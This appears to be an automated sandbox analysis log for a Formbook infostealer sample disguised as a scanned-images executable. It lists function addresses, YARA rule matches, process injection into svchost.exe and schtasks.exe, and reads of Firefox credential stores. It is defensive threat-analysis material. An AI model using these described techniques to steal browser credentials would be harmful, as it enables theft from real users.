Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD5910	2_2_02DD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D49EB0	2_2_02D49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D03FD2	2_2_02D03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D03FD5	2_2_02D03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D41F92	2_2_02D41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFFB1	2_2_02DFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFF09	2_2_02DFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFCF2	2_2_02DFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB9C32	2_2_02DB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5FDC0	2_2_02D5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF1D5A	2_2_02DF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D43D40	2_2_02D43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF7D73	2_2_02DF7D73
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_0322FB3B	8_2_0322FB3B
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_0322FB40	8_2_0322FB40
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03229228	8_2_03229228
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03229230	8_2_03229230
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03246A50	8_2_03246A50
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_03229450	8_2_03229450
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Code function: 8_2_032274D0	8_2_032274D0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F402C0	9_2_02F402C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F60274	9_2_02F60274
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ECE3F0	9_2_02ECE3F0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F803E6	9_2_02F803E6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7A352	9_2_02F7A352
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F52000	9_2_02F52000
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F781CC	9_2_02F781CC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F801AA	9_2_02F801AA
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F741A2	9_2_02F741A2
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F48158	9_2_02F48158
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EB0100	9_2_02EB0100
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F5A118	9_2_02F5A118
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EDC6E0	9_2_02EDC6E0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EBC7C0	9_2_02EBC7C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC0770	9_2_02EC0770
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EE4750	9_2_02EE4750
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F6E4F6	9_2_02F6E4F6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F72446	9_2_02F72446
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F64420	9_2_02F64420
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F80591	9_2_02F80591
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC0535	9_2_02EC0535
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EBEA80	9_2_02EBEA80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F76BD7	9_2_02F76BD7
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7AB40	9_2_02F7AB40
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EEE8F0	9_2_02EEE8F0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EA68B8	9_2_02EA68B8
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ECA840	9_2_02ECA840
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC2840	9_2_02EC2840
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC29A0	9_2_02EC29A0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F8A9A6	9_2_02F8A9A6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ED6962	9_2_02ED6962
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7EEDB	9_2_02F7EEDB
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7CE93	9_2_02F7CE93
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ED2E90	9_2_02ED2E90
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC0E59	9_2_02EC0E59
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7EE26	9_2_02F7EE26
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ECCFE0	9_2_02ECCFE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EB2FC8	9_2_02EB2FC8
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F3EFA0	9_2_02F3EFA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F34F40	9_2_02F34F40
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F62F30	9_2_02F62F30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F02F28	9_2_02F02F28
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EE0F30	9_2_02EE0F30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EB0CF2	9_2_02EB0CF2
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F60CB5	9_2_02F60CB5
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC0C00	9_2_02EC0C00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EBADE0	9_2_02EBADE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ED8DBF	9_2_02ED8DBF
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F5CD1F	9_2_02F5CD1F
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ECAD00	9_2_02ECAD00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F612ED	9_2_02F612ED
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EDB2C0	9_2_02EDB2C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC52A0	9_2_02EC52A0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F0739A	9_2_02F0739A
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EAD34C	9_2_02EAD34C
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7132D	9_2_02F7132D
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7F0E0	9_2_02F7F0E0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F770E9	9_2_02F770E9
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC70C0	9_2_02EC70C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F6F0CC	9_2_02F6F0CC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02ECB1B0	9_2_02ECB1B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF516C	9_2_02EF516C
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F8B16B	9_2_02F8B16B
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EAF172	9_2_02EAF172
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F716CC	9_2_02F716CC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F05630	9_2_02F05630
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7F7B0	9_2_02F7F7B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EB1460	9_2_02EB1460
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7F43F	9_2_02F7F43F
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F895C3	9_2_02F895C3
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F5D5B0	9_2_02F5D5B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F77571	9_2_02F77571
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F6DAC6	9_2_02F6DAC6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F05AA0	9_2_02F05AA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F61AA3	9_2_02F61AA3
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F5DAAC	9_2_02F5DAAC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F33A6C	9_2_02F33A6C
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F77A46	9_2_02F77A46
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7FA49	9_2_02F7FA49
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F35BF0	9_2_02F35BF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EFDBF9	9_2_02EFDBF9
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EDFB80	9_2_02EDFB80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7FB76	9_2_02F7FB76
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC38E0	9_2_02EC38E0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F2D800	9_2_02F2D800
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC9950	9_2_02EC9950
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EDB950	9_2_02EDB950
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F55910	9_2_02F55910
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC9EB0	9_2_02EC9EB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02E83FD2	9_2_02E83FD2
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02E83FD5	9_2_02E83FD5
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7FFB1	9_2_02F7FFB1
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC1F92	9_2_02EC1F92
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7FF09	9_2_02F7FF09
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F7FCF2	9_2_02F7FCF2
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F39C32	9_2_02F39C32
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EDFDC0	9_2_02EDFDC0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F77D73	9_2_02F77D73
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EC3D40	9_2_02EC3D40
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02F71D5A	9_2_02F71D5A
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026C1650	9_2_026C1650
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026DA080	9_2_026DA080
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026BCA80	9_2_026BCA80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026BAB00	9_2_026BAB00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026BC860	9_2_026BC860
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026BC858	9_2_026BC858
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026C316B	9_2_026C316B
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026C3170	9_2_026C3170
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02CBA2E3	9_2_02CBA2E3
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02CBB028	9_2_02CBB028
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02CBBB04	9_2_02CBBB04
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02CBBFBC	9_2_02CBBFBC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02CBBC24	9_2_02CBBC24

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02D75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02DBF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02D2B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02D87E54 appears 110 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02DAEA12 appears 86 times
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: String function: 00A27F41 appears 35 times
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: String function: 00A40D27 appears 70 times
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: String function: 00A48B40 appears 42 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 02F07E54 appears 110 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 02F2EA12 appears 86 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 02EF5130 appears 58 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 02EAB970 appears 280 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 02F3F290 appears 105 times

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1330139056.00000000041FD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000003.1333185722.00000000040A3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.2120000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.2120000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@15/10

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A8A2D5 GetLastError,FormatMessageW,

0_2_00A8A2D5

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A78713 AdjustTokenPrivileges,CloseHandle,		0_2_00A78713
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A78CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00A78CC3

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A8B59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00A8B59E

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A9F121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00A9F121

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A986D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00A986D0

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A24FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00A24FE9

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

File created: C:\Users\user\AppData\Local\Temp\autB42C.tmp

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: schtasks.exe, 00000009.00000002.3801096520.0000000002965000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3801096520.0000000002971000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000003.1805384026.0000000002965000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000009.00000002.3801096520.0000000002995000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

ReversingLabs: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe "C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe"
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe"
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe"	Jump to behavior
Source: C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: windows.storage.dll	Jump to behavior
